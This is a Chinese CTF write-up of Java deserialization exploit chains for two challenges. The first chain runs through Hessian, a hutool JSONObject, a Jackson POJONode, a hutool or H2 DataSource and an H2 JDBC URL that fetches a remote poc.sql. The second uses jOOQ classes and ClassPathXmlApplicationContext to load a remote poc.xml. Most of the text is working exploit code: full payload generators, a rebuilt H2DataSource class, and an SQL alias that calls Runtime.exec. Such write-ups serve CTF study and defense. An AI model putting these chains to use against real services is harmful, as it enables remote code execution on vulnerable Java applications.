agent jdk17依赖有h2思路清晰打jdbc attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <dependency >       <groupId > org.springframework.boot</groupId >        <artifactId > spring-boot-starter-web</artifactId >    </dependency >         <dependency >       <groupId > com.alibaba</groupId >        <artifactId > hessian-lite</artifactId >        <version > 3.2.13</version >    </dependency >      <dependency >       <groupId > cn.hutool</groupId >        <artifactId > hutool-all</artifactId >        <version > 5.8.16</version >    </dependency >         <dependency >       <groupId > com.h2database</groupId >        <artifactId > h2</artifactId >        <version > 2.2.224</version >    </dependency > 
项目Deserial_Sink_With_JDBC jdbc-attack su18 
H2 RCEhttp://127.0.0.1:8000/poc.sql ‘
 
1 2 3 4 String  connectionUrl  =  "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ;  Connection  connection  =  DriverManager.getConnection(connectionUrl);  connection.close(); 
安装h2数据库h2数据库 
1 CREATE  ALIAS EXEC  AS  'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}' ;CALL  EXEC  ('calc' )
可以拿到calc
1 2 3 4 5 6 7 8 String  connectionUrl  =  "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ;Setting  setting  =  new  Setting ();setting.setCharset(null ); setting.set("url" ,connectionUrl); Unsafe  unsafe  =  UnSafeTools.getUnsafe();PooledDSFactory  pooledDSFactory  =  (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting" ),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap" ),new  SafeConcurrentHashMap <>()); 
这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
hessian反序列化漏洞,是map反序列化,当他的_type不是null,且不是map和sortedMap时候,调用构造函数实例化this.buffer[this.offset++]是77这样反序列化的时候就会获取_type值为77
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private  void  writeType (String type)  throws  IOException {      this .flushIfFull();       int  len  =  type.length();       if  (len == 0 ) {           throw  new  IllegalArgumentException ("empty type is not allowed" );       } else  {           if  (this ._typeRefs == null ) {               this ._typeRefs = new  HashMap ();           }              Integer  typeRefV  =  (Integer)this ._typeRefs.get(type);           if  (typeRefV != null ) {               int  typeRef  =  typeRefV;               this .writeInt(typeRef);           } else  {               this ._typeRefs.put(type, this ._typeRefs.size());               this .writeString(type);           }          }   } 
这时候反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27    public  final  int  read ()  throws  IOException {      return  this ._length <= this ._offset && !this .readBuffer() ? -1  : this ._buffer[this ._offset++] & 255 ;   }      private  final  boolean  readBuffer ()  throws  IOException {      byte [] buffer = this ._buffer;       int  offset  =  this ._offset;       int  length  =  this ._length;       if  (offset < length) {           System.arraycopy(buffer, offset, buffer, 0 , length - offset);           offset = length - offset;       } else  {           offset = 0 ;       }          int  len  =  this ._is.read(buffer, offset, 256  - offset);       if  (len <= 0 ) {           this ._length = offset;           this ._offset = 0 ;           return  offset > 0 ;       } else  {           this ._length = offset + len;           this ._offset = 0 ;           return  true ;       }   } 
读取缓冲区的值当this.readBuffer返回值为true的时候调用this._buffer[this._offset++] & 255;  
1 2 3 case  77 :      type = this .readType();       return  this .findSerializerFactory().readMap(this , type); 
1 2 3 4 5 6 7 8 9 10 11 public  Object readMap (AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType)  throws  HessianProtocolException, IOException {      Deserializer  deserializer  =  this .getDeserializer(type);       if  (deserializer != null ) {           return  deserializer.readMap(in);       } else  if  (this ._hashMapDeserializer != null ) {           return  this ._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);       } else  {           this ._hashMapDeserializer = new  MapDeserializer (HashMap.class);           return  this ._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);       }   } 
进入了这边, this.getDeserializer(type)获取了类型的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  Object readMap (AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType)  throws  IOException {      Object map;       if  (this ._type == null ) {           map = new  HashMap ();       } else  if  (this ._type.equals(Map.class)) {           map = new  HashMap ();       } else  if  (this ._type.equals(SortedMap.class)) {           map = new  TreeMap ();       } else  {           try  {               map = (Map)this ._ctor.newInstance();           } catch  (Exception var6) {               throw  new  IOExceptionWrapper (var6);           }       }          in.addRef(map);       this .doReadMap(in, (Map)map, expectKeyType, expectValueType);       in.readEnd();       return  map     } 
这样就能newInstance了
1 this .doReadMap(in, (Map)map, expectKeyType, expectValueType);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public  JSONObject set (String key, Object value, Filter<MutablePair<String, Object>> filter, boolean  checkDuplicate)  throws  JSONException {      if  (null  == key) {           return  this ;       } else  {           if  (null  != filter) {               MutablePair<String, Object> pair = new  MutablePair (key, value);               if  (!filter.accept(pair)) {                   return  this ;               }                  key = (String)pair.getKey();               value = pair.getValue();           }              boolean  ignoreNullValue  =  this .config.isIgnoreNullValue();           if  (ObjectUtil.isNull(value) && ignoreNullValue) {               this .remove(key);           } else  {               if  (checkDuplicate && this .containsKey(key)) {                   throw  new  JSONException ("Duplicate key \"{}\"" , new  Object []{key});               }                  super .put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this .config));           }              return  this ;       }   } 
1 2 3 4 5 6 7 8 9 10 11 12 ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();  Hessian2Output  hessian2Output  =  new  Hessian2Output (byteArrayOutputStream);     hessian2Output.writeMapBegin(JSONObject.class.getName());   hessian2Output.writeObject("whatever" ); POJONode  pojoNode  =  new  POJONode (bean);     Object  object  =  new  AtomicReference <>(pojoNode);hessian2Output.writeObject(object);   hessian2Output.writeMapEnd();   hessian2Output.close(); 
这样就能触发pojonode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package  com.aliyunctf.agent;import  cn.hutool.core.map.SafeConcurrentHashMap;import  cn.hutool.db.ds.pooled.PooledDSFactory;import  cn.hutool.json.JSONObject;import  cn.hutool.setting.Setting;import  com.alibaba.com.caucho.hessian.io.Hessian2Input;import  com.alibaba.com.caucho.hessian.io.Hessian2Output;import  com.aliyunctf.agent.other.Bean;import  com.fasterxml.jackson.databind.node.POJONode;import  com.n1ght.serial.SerialTools;import  com.n1ght.unsafe.UnSafeTools;import  sun.misc.Unsafe;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.InputStream;import  java.util.Base64;import  java.util.concurrent.atomic.AtomicReference;public  class  Main  {    public  static  void  main (String[] args)  throws  Exception {         String  connectionUrl  =  "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ;         Setting  setting  =  new  Setting ();         setting.setCharset(null );         setting.set("url" ,connectionUrl);         Unsafe  unsafe  =  UnSafeTools.getUnsafe();         PooledDSFactory  pooledDSFactory  =  (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);         UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting" ),setting);         UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap" ),new  SafeConcurrentHashMap <>());         Bean  bean  =  new  Bean ();         UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         Hessian2Output  hessian2Output  =  new  Hessian2Output (byteArrayOutputStream);         hessian2Output.writeMapBegin(JSONObject.class.getName());         hessian2Output.writeObject("whatever" );         POJONode  pojoNode  =  new  POJONode (bean);         Object  object  =  new  AtomicReference <>(pojoNode);         hessian2Output.writeObject(object);         hessian2Output.writeMapEnd();         hessian2Output.close();                  ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (byteArrayOutputStream.toByteArray());         Hessian2Input  hessian2Input  =  new  Hessian2Input ((InputStream)byteArrayInputStream);         hessian2Input.readObject();     } } 
但是为什么jackson的toString触发getObject后,就能再次触发PooledDSFactory的getter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Object  value  =  this ._accessorMethod == null  ? this ._field.get(bean) : this ._accessorMethod.invoke(bean, (Object[])null );        if  (value == null ) {             if  (this ._suppressableValue == null  || !prov.includeFilterSuppressNulls(this ._suppressableValue)) {                 if  (this ._nullSerializer != null ) {                     gen.writeFieldName(this ._name);                     this ._nullSerializer.serialize((Object)null , gen, prov);                 }             }         } else  {             JsonSerializer<Object> ser = this ._serializer;             if  (ser == null ) {                 Class<?> cls = value.getClass();                 PropertySerializerMap  m  =  this ._dynamicSerializers;                 ser = m.serializerFor(cls);                 if  (ser == null ) {                     ser = this ._findAndAddDynamic(m, cls, prov);                 }             }             if  (this ._suppressableValue != null ) {                 if  (MARKER_FOR_EMPTY == this ._suppressableValue) {                     if  (ser.isEmpty(prov, value)) {                         return ;                     }                 } else  if  (this ._suppressableValue.equals(value)) {                     return ;                 }             }             if  (value != bean || !this ._handleSelfReference(bean, gen, prov, ser)) {                 gen.writeFieldName(this ._name);                 if  (this ._typeSerializer == null ) {                     ser.serialize(value, gen, prov);                 } else  {                     ser.serializeWithType(value, gen, prov, this ._typeSerializer);                 }             }         } 
当获取值后,对value再次进行序列化
1 2 Object  value  =  this ._accessorMethod == null  ? this ._field.get(bean) : this ._accessorMethod.invoke(bean, (Object[])null );
我们之前上面找的JdbcDataSource有问题,我修改了什么地方让他成功呢
1 2 H2DataSource  jdbcDataSource  =  (H2DataSource) unsafe.allocateInstance(H2DataSource.class);
unsafe.allocateInstance实例化这样不会带不可序列化的数据,我们set即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 package  com.aliyunctf.agent;import  java.io.IOException;import  java.io.ObjectInputStream;import  java.io.PrintWriter;import  java.io.Serializable;import  java.lang.reflect.Field;import  java.sql.Connection;import  java.sql.SQLException;import  java.util.Properties;import  java.util.logging.Logger;import  javax.naming.Reference;import  javax.naming.Referenceable;import  javax.naming.StringRefAddr;import  javax.sql.ConnectionPoolDataSource;import  javax.sql.DataSource;import  javax.sql.PooledConnection;import  javax.sql.XAConnection;import  javax.sql.XADataSource;import  org.h2.jdbc.JdbcConnection;import  org.h2.jdbcx.JdbcDataSourceBackwardsCompat;import  org.h2.jdbcx.JdbcDataSourceFactory;import  org.h2.jdbcx.JdbcXAConnection;import  org.h2.message.DbException;import  org.h2.message.Trace;import  org.h2.message.TraceObject;import  org.h2.message.TraceSystem;import  org.h2.util.StringUtils;public  final  class  H2DataSource  extends  TraceObject  implements  XADataSource , DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat {    private  static  final  long  serialVersionUID  =  1288136338451857771L ;     private   JdbcDataSourceFactory factory;     private  transient  PrintWriter logWriter;     private  int  loginTimeout;     private  String  userName  =  "" ;     private  char [] passwordChars = new  char [0 ];     private  String  url  =  "" ;     private  String description;     private  Trace trace;     public  Trace getTrace ()  {         return  trace;     }     public  void  setTrace (Trace trace)  {         this .trace = trace;     }     public  H2DataSource () {         this .initFactory();         int  var1  =  getNextId(12 );         this .setTrace(trace, 12 , var1);     }     private  void  readObject (ObjectInputStream var1)  throws  IOException, ClassNotFoundException {         this .initFactory();         var1.defaultReadObject();     }     private  void  initFactory ()  {         this .factory = new  JdbcDataSourceFactory ();     }     public  int  getLoginTimeout ()  {         return  this .loginTimeout;     }     public  void  setLoginTimeout (int  var1)  {         this .loginTimeout = var1;     }     public  PrintWriter getLogWriter ()  {         return  this .logWriter;     }     public  void  setLogWriter (PrintWriter var1)  {         this .debugCodeCall("setLogWriter(out)" );         this .logWriter = var1;     }     public  Connection getConnection ()  throws  SQLException {         return  new  JdbcConnection (this .url, (Properties)null , this .userName, StringUtils.cloneCharArray(this .passwordChars), false );     }     public  Connection getConnection (String var1, String var2)  throws  SQLException {         if  (this .isDebugEnabled()) {             this .debugCode("getConnection("  + quote(var1) + ", \"\")" );         }         return  new  JdbcConnection (this .url, (Properties)null , var1, var2, false );     }     public  String getURL ()  {         this .debugCodeCall("getURL" );         return  this .url;     }     public  void  setURL (String var1)  {         this .url = var1;     }     public  String getUrl ()  {         this .debugCodeCall("getUrl" );         return  this .url;     }     public  void  setUrl (String var1)  {         this .debugCodeCall("setUrl" , var1);         this .url = var1;     }     public  void  setPassword (String var1)  {         this .debugCodeCall("setPassword" , "" );         this .passwordChars = var1 == null  ? null  : var1.toCharArray();     }     public  void  setPasswordChars (char [] var1)  {         if  (this .isDebugEnabled()) {             this .debugCode("setPasswordChars(new char[0])" );         }         this .passwordChars = var1;     }     private  static  String convertToString (char [] var0)  {         return  var0 == null  ? null  : new  String (var0);     }     public  String getPassword ()  {         this .debugCodeCall("getPassword" );         return  convertToString(this .passwordChars);     }     public  String getUser ()  {         this .debugCodeCall("getUser" );         return  this .userName;     }     public  void  setUser (String var1)  {         this .debugCodeCall("setUser" , var1);         this .userName = var1;     }     public  String getDescription ()  {         this .debugCodeCall("getDescription" );         return  this .description;     }     public  void  setDescription (String var1)  {         this .debugCodeCall("getDescription" , var1);         this .description = var1;     }     public  Reference getReference ()  {         this .debugCodeCall("getReference" );         String  var1  =  JdbcDataSourceFactory.class.getName();         Reference  var2  =  new  Reference (this .getClass().getName(), var1, (String)null );         var2.add(new  StringRefAddr ("url" , this .url));         var2.add(new  StringRefAddr ("user" , this .userName));         var2.add(new  StringRefAddr ("password" , convertToString(this .passwordChars)));         var2.add(new  StringRefAddr ("loginTimeout" , Integer.toString(this .loginTimeout)));         var2.add(new  StringRefAddr ("description" , this .description));         return  var2;     }     public  XAConnection getXAConnection ()  throws  SQLException {         this .debugCodeCall("getXAConnection" );         return  null ;     }     public  XAConnection getXAConnection (String var1, String var2)  throws  SQLException {         if  (this .isDebugEnabled()) {             this .debugCode("getXAConnection("  + quote(var1) + ", \"\")" );         }         return  null ;     }     public  PooledConnection getPooledConnection ()  throws  SQLException {         this .debugCodeCall("getPooledConnection" );         return  this .getXAConnection();     }     public  PooledConnection getPooledConnection (String var1, String var2)  throws  SQLException {         if  (this .isDebugEnabled()) {             this .debugCode("getPooledConnection("  + quote(var1) + ", \"\")" );         }         return  this .getXAConnection(var1, var2);     }     public  <T> T unwrap (Class<T> var1)  throws  SQLException {         try  {             if  (this .isWrapperFor(var1)) {                 return  (T) this ;             } else  {                 throw  DbException.getInvalidValueException("iface" , var1);             }         } catch  (Exception var3) {             throw  this .logAndConvert(var3);         }     }     public  boolean  isWrapperFor (Class<?> var1)  throws  SQLException {         return  var1 != null  && var1.isAssignableFrom(this .getClass());     }     public  Logger getParentLogger ()  {         return  null ;     }     public  String toString ()  {         return  this .getTraceObjectName() + ": url="  + this .url + " user="  + this .userName;     } } 
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34         String  connectionUrl  =  "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ;         Bean  bean  =  new  Bean ();         Unsafe  unsafe  =  UnSafeTools.getUnsafe();         H2DataSource  jdbcDataSource  =  (H2DataSource) unsafe.allocateInstance(H2DataSource.class);         jdbcDataSource.setURL(connectionUrl);         jdbcDataSource.setLoginTimeout(5 );         Object  o  =  SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);         UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(o)));         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         Hessian2Output  hessian2Output  =  new  Hessian2Output (byteArrayOutputStream);         hessian2Output.writeMapBegin(JSONObject.class.getName());         hessian2Output.writeObject("whatever" );         POJONode  pojoNode  =  new  POJONode (bean);         Object  object  =  new  AtomicReference <>(pojoNode);         hessian2Output.writeObject(object);         hessian2Output.writeMapEnd();         hessian2Output.close();         ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (byteArrayOutputStream.toByteArray());         Hessian2Input  hessian2Input  =  new  Hessian2Input ((InputStream)byteArrayInputStream);         hessian2Input.readObject(); 
这样拿取shell就可达到第二条,像第二条发送payload去打通
之前继承的SimpleDSFactory也可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package  com.aliyunctf.agent;import  cn.hutool.core.map.SafeConcurrentHashMap;import  cn.hutool.db.ds.c3p0.C3p0DSFactory;import  cn.hutool.db.ds.druid.DruidDSFactory;import  cn.hutool.db.ds.jndi.JndiDSFactory;import  cn.hutool.db.ds.pooled.PooledDSFactory;import  cn.hutool.db.ds.simple.SimpleDSFactory;import  cn.hutool.db.ds.tomcat.TomcatDSFactory;import  cn.hutool.json.JSONObject;import  cn.hutool.setting.Setting;import  com.alibaba.com.caucho.hessian.io.Hessian2Input;import  com.alibaba.com.caucho.hessian.io.Hessian2Output;import  com.aliyunctf.agent.other.Bean;import  com.fasterxml.jackson.databind.node.POJONode;import  com.n1ght.serial.SerialTools;import  com.n1ght.source.SourceTools;import  com.n1ght.unsafe.UnSafeTools;import  org.h2.jdbcx.JdbcDataSource;import  org.h2.jdbcx.JdbcDataSourceFactory;import  org.h2.message.Trace;import  org.h2.message.TraceObject;import  org.h2.message.TraceSystem;import  sun.misc.Unsafe;import  javax.sql.DataSource;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.InputStream;import  java.lang.reflect.Field;import  java.util.Base64;import  java.util.concurrent.atomic.AtomicReference;public  class  Main  {    public  static  void  main (String[] args)  throws  Exception {         String  connectionUrl  =  "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'" ;         Bean  bean  =  new  Bean ();         Setting  setting  =  new  Setting ();         setting.setCharset(null );         setting.set("url" ,connectionUrl);         Unsafe  unsafe  =  UnSafeTools.getUnsafe();         SimpleDSFactory  pooledDSFactory  =  (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);         UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting" ),setting);         UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap" ),new  SafeConcurrentHashMap <>());         UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));         UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data" ), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         Hessian2Output  hessian2Output  =  new  Hessian2Output (byteArrayOutputStream);         hessian2Output.writeMapBegin(JSONObject.class.getName());         hessian2Output.writeObject("whatever" );         POJONode  pojoNode  =  new  POJONode (bean);         Object  object  =  new  AtomicReference <>(pojoNode);         hessian2Output.writeObject(object);         hessian2Output.writeMapEnd();         hessian2Output.close();         ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (byteArrayOutputStream.toByteArray());         Hessian2Input  hessian2Input  =  new  Hessian2Input ((InputStream)byteArrayInputStream);         hessian2Input.readObject();     } } 
只有开了–add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
server 使用查找,分了两步
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package  com.aliyunctf.server;import  com.fasterxml.jackson.databind.node.POJONode;import  com.n1ght.reflect.ReflectTools;import  com.n1ght.serial.SerialTools;import  com.n1ght.unsafe.UnSafeTools;import  org.jooq.DataType;import  org.springframework.context.support.ClassPathXmlApplicationContext;import  javax.swing.event.EventListenerList;import  javax.swing.undo.UndoManager;import  java.lang.reflect.Constructor;import  java.util.HashMap;import  java.util.Vector;public  class  Main  {    public  static  void  main (String[] args)  throws  Exception {         String  url  =  "http://127.0.0.1:1234/poc.xml" ;         Class  clazz1  =  Class.forName("org.jooq.impl.Dual" );         Constructor  constructor1  =  clazz1.getDeclaredConstructors()[0 ];         constructor1.setAccessible(true );         Object  table  =  constructor1.newInstance();         Class  clazz2  =  Class.forName("org.jooq.impl.TableDataType" );         Constructor  constructor2  =  clazz2.getDeclaredConstructors()[0 ];         constructor2.setAccessible(true );         Object  tableDataType  =  constructor2.newInstance(table);         Class  clazz3  =  Class.forName("org.jooq.impl.Val" );         Constructor  constructor3  =  clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean .class);         constructor3.setAccessible(true );         Object  val  =  constructor3.newInstance("whatever" , tableDataType, false );         Class  clazz4  =  Class.forName("org.jooq.impl.ConvertedVal" );         Constructor  constructor4  =  clazz4.getDeclaredConstructors()[0 ];         constructor4.setAccessible(true );         Object  convertedVal  =  constructor4.newInstance(val, tableDataType);         Object  value  =  url;         Class  type  =  ClassPathXmlApplicationContext.class;         UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value" ),value);         UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType" ),type);         POJONode  pojoNode  =  new  POJONode (convertedVal);         EventListenerList  eventListenerList  =  new  EventListenerList ();         UndoManager  undoManager  =  new  UndoManager ();         Vector  vector  =  (Vector) ReflectTools.getFieldValue(undoManager, "edits" );         vector.add(pojoNode);         ReflectTools.setFieldValue(eventListenerList, "listenerList" , new  Object []{InternalError.class, undoManager});         String  s  =  SerialTools.base64Serial(eventListenerList);         System.out.println(s);         SerialTools.base64DeSerial(s);     } }